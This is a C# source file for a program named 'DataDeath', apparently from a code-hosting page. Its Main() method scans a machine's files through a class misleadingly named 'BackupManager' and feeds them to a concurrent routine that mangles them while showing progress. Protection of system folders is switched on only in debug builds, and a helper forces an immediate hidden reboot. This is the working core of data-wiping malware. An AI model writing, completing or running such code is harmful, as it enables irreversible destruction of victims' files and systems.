152 lines
6.8 KiB
C#
152 lines
6.8 KiB
C#
using System;
|
|
using System.Collections.Concurrent;
|
|
using System.Diagnostics;
|
|
using System.Threading.Tasks;
|
|
|
|
namespace DataDeath
|
|
{
|
|
class Program
|
|
{
|
|
static readonly object _consoleLock = new object();
|
|
|
|
static async Task Main(string[] args)
|
|
{
|
|
// Start tracking total execution time
|
|
Stopwatch totalTimer = Stopwatch.StartNew();
|
|
|
|
BackupManager manager = new BackupManager();
|
|
|
|
manager.OnProgress += (sender, e) =>
|
|
{
|
|
lock (_consoleLock)
|
|
{
|
|
// Scan progress stays at the very top (Lines 0-3)
|
|
Console.SetCursorPosition(0, 0);
|
|
int width = Console.WindowWidth - 1;
|
|
|
|
Console.WriteLine($"Scan Status: {e.ScanPhase}".PadRight(width));
|
|
Console.WriteLine($"Files Found: {e.FilesFound:N0}".PadRight(width));
|
|
Console.WriteLine($"Size Found: {BytesToReadable(e.TotalBytesFound)}".PadRight(width));
|
|
|
|
string displayDir = e.CurrentDirectory;
|
|
if (displayDir.Length > Console.WindowWidth - 15)
|
|
displayDir = "..." + displayDir.Substring(displayDir.Length - (Console.WindowWidth - 18));
|
|
|
|
Console.WriteLine($"Scanning: {displayDir}".PadRight(width));
|
|
|
|
// Draw a separator between Scan and Destruction sections
|
|
Console.WriteLine(new string('=', width));
|
|
}
|
|
};
|
|
|
|
FileDestruction.OnProgress += (sender, e) =>
|
|
{
|
|
lock (_consoleLock)
|
|
{
|
|
// Destruction progress starts below the scan progress (Line 5)
|
|
Console.SetCursorPosition(0, 5);
|
|
int width = Console.WindowWidth - 1;
|
|
|
|
Console.WriteLine("Dest Status: DESTROYING FILES".PadRight(width));
|
|
|
|
string displayFile = e.CurrentFile;
|
|
if (displayFile.Length > Console.WindowWidth - 15)
|
|
displayFile = "..." + displayFile.Substring(displayFile.Length - (Console.WindowWidth - 18));
|
|
Console.WriteLine($"Working On: {displayFile}".PadRight(width));
|
|
|
|
double filePerc = e.CurrentFileTotalBytes == 0 ? 1.0 : (double)e.CurrentFileBytesProcessed / e.CurrentFileTotalBytes;
|
|
int barWidth = width - 25;
|
|
if (barWidth < 10) barWidth = 10; // Safety fallback for very narrow consoles
|
|
int progressChars = (int)(filePerc * barWidth);
|
|
string bar = $"[{new string('#', progressChars)}{new string('-', barWidth - progressChars)}] {filePerc:P1}";
|
|
Console.WriteLine($"File Prog: {bar}".PadRight(width));
|
|
|
|
Console.WriteLine(new string('-', width));
|
|
|
|
long totalProcessedCount = e.FilesCompleted + e.FilesFailed;
|
|
long filesRemaining = e.TotalFiles - totalProcessedCount;
|
|
|
|
Console.WriteLine($"SUCCESS: {e.FilesCompleted:N0} files ({BytesToReadable(e.BytesCompleted)})".PadRight(width));
|
|
Console.WriteLine($"FAILED: {e.FilesFailed:N0} files ({BytesToReadable(e.BytesFailed)})".PadRight(width));
|
|
Console.WriteLine($"REMAINING: {filesRemaining:N0} files".PadRight(width));
|
|
Console.WriteLine(new string('-', width));
|
|
|
|
double overallPerc = e.TotalFiles == 0 ? 1.0 : (double)totalProcessedCount / e.TotalFiles;
|
|
Console.WriteLine($"OVERALL: {totalProcessedCount:N0} / {e.TotalFiles:N0} processed {overallPerc:P1}".PadRight(width));
|
|
}
|
|
};
|
|
|
|
Console.CursorVisible = false;
|
|
Console.Clear();
|
|
Console.WriteLine("Starting Destruction!");
|
|
|
|
// This line can be disabled in prod.
|
|
// It subtracts some extra time to the scanning phase, but it ensures that system folders are not included in the destruction process.
|
|
#if DEBUG
|
|
manager.AvoidSystemFolders = true;
|
|
#endif
|
|
|
|
// Bounded collection prevents memory issues if scanning is much faster than destruction
|
|
using (BlockingCollection<string> fileQueue = new BlockingCollection<string>(50000))
|
|
{
|
|
// Start the scanning process on a background thread
|
|
Task scanTask = Task.Run(() =>
|
|
{
|
|
manager.DiscoverFiles(fileQueue);
|
|
fileQueue.CompleteAdding(); // Signal that no more files will be added
|
|
});
|
|
|
|
// Start the destruction process concurrently, feeding off the queue
|
|
Task<DestructionResult> destroyTask = FileDestruction.MangleFilesAsync(fileQueue, manager);
|
|
|
|
// Wait for both to finish
|
|
await Task.WhenAll(scanTask, destroyTask);
|
|
|
|
// Stop the timer once all tasks are complete
|
|
totalTimer.Stop();
|
|
|
|
var destructionResult = destroyTask.Result;
|
|
|
|
lock (_consoleLock)
|
|
{
|
|
// Output the final summary below all the live-updating text (Line 16)
|
|
Console.SetCursorPosition(0, 16);
|
|
Console.WriteLine(new string('=', 30));
|
|
Console.WriteLine("DESTRUCTION COMPLETE");
|
|
Console.WriteLine($"Total Time: {totalTimer.Elapsed:hh\\:mm\\:ss}");
|
|
Console.WriteLine($"Successful: {destructionResult.FilesCompleted:N0} files ({BytesToReadable(destructionResult.BytesCompleted)})");
|
|
Console.WriteLine($"Failed: {destructionResult.FilesFailed:N0} files ({BytesToReadable(destructionResult.BytesFailed)})");
|
|
Console.WriteLine(new string('=', 30));
|
|
Console.CursorVisible = true;
|
|
}
|
|
}
|
|
|
|
//Reboot();
|
|
Console.ReadLine();
|
|
}
|
|
|
|
public static void Reboot()
|
|
{
|
|
// Restart with 0 seconds delay
|
|
ProcessStartInfo inf = new ProcessStartInfo
|
|
{
|
|
FileName = "shutdown.exe",
|
|
Arguments = "/f /r /t 0",
|
|
CreateNoWindow = true,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
};
|
|
Process.Start(inf).WaitForExit();
|
|
}
|
|
|
|
static string BytesToReadable(long bytes)
|
|
{
|
|
string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" };
|
|
if (bytes == 0)
|
|
return "0 " + suf[0];
|
|
long absoluteBytes = Math.Abs(bytes);
|
|
int place = Convert.ToInt32(Math.Floor(Math.Log(absoluteBytes, 1024)));
|
|
double num = Math.Round(absoluteBytes / Math.Pow(1024, place), 2);
|
|
return $"{Math.Sign(bytes) * num:N2} {suf[place]}";
|
|
}
|
|
}
|
|
} |